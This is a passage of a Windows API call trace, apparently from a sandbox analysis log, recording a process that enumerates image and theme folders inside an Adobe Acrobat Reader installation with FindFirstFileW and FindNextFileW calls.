ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0245.483] GetProcessHeap () returned 0xc10000 [0245.483] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0245.483] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\file_types\\themes\\dark\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0245.488] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.488] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6004, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons.png", cAlternateFileName="AIC_FI~2.PNG")) returned 1 [0245.488] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x77ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="aic_file_icons_retina_thumb.png", cAlternateFileName="AIC_FI~1.PNG")) returned 1 [0245.488] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_icon.png", cAlternateFileName="CLOUD_~1.PNG")) returned 1 [0245.488] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_icon.png", cAlternateFileName="CLOUD_~1.PNG")) returned 0 [0245.488] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0245.490] GetProcessHeap () returned 0xc10000 [0245.490] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0245.490] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0245.490] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0245.490] GetProcessHeap () returned 0xc10000 [0245.490] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0245.490] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0245.490] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0245.490] GetProcessHeap () returned 0xc10000 [0245.491] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0245.491] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi_contrast", cAlternateFileName="HI_CON~1")) returned 1 [0245.491] GetProcessHeap () returned 0xc10000 [0245.491] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0245.491] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0245.755] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.756] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2849, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_hiContrast_bow.png", cAlternateFileName="CORE_I~3.PNG")) returned 1 [0245.756] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e12, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_hiContrast_wob.png", cAlternateFileName="CORE_I~4.PNG")) returned 1 [0245.756] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2fe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_highcontrast.png", cAlternateFileName="COCE4C~1.PNG")) returned 1 [0245.756] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x67be, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_highcontrast_retina.png", cAlternateFileName="CORE_I~2.PNG")) returned 1 [0245.756] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa759, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons__retina_hiContrast_bow.png", cAlternateFileName="COE106~1.PNG")) returned 1 [0245.756] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xad76, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons__retina_hiContrast_wob.png", cAlternateFileName="CORE_I~1.PNG")) returned 1 [0245.756] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xad76, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons__retina_hiContrast_wob.png", cAlternateFileName="CORE_I~1.PNG")) returned 0 [0245.756] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0245.757] GetProcessHeap () returned 0xc10000 [0245.757] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0245.758] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1185, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0245.758] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2890, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0245.758] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ind_prog.gif", cAlternateFileName="")) returned 1 [0245.758] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="japanese_over.png", cAlternateFileName="JAPANE~1.PNG")) returned 1 [0245.758] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="large_trefoil.png", cAlternateFileName="LARGE_~1.PNG")) returned 1 [0245.758] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="large_trefoil_2x.png", cAlternateFileName="LARGE_~2.PNG")) returned 1 [0245.758] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo_retina.png", cAlternateFileName="LOGO_R~1.PNG")) returned 1 [0245.758] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x469, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress-indeterminate.gif", cAlternateFileName="PROGRE~2.GIF")) returned 1 [0245.758] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x392e, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner.gif", cAlternateFileName="PROGRE~1.GIF")) returned 1 [0245.758] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x927b, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner2x.gif", cAlternateFileName="PROGRE~4.GIF")) returned 1 [0245.758] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a30, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner_dark.gif", cAlternateFileName="PROGRE~3.GIF")) returned 1 [0245.758] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner_dark2x.gif", cAlternateFileName="PRBC72~1.GIF")) returned 1 [0245.759] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="RHP_icons.png", cAlternateFileName="RHP_IC~1.PNG")) returned 1 [0245.759] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RHP_icons_2x.png", cAlternateFileName="RHP_IC~2.PNG")) returned 1 [0245.759] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-actions.png", cAlternateFileName="SELECT~2.PNG")) returned 1 [0245.759] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-actions2x.png", cAlternateFileName="SELECT~1.PNG")) returned 1 [0245.759] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0245.759] GetProcessHeap () returned 0xc10000 [0245.759] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0245.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0245.760] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.761] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0245.761] GetProcessHeap () returned 0xc10000 [0245.761] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0245.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0245.763] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.767] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a85, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner.gif", cAlternateFileName="A12_SP~4.GIF")) returned 1 [0245.767] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, 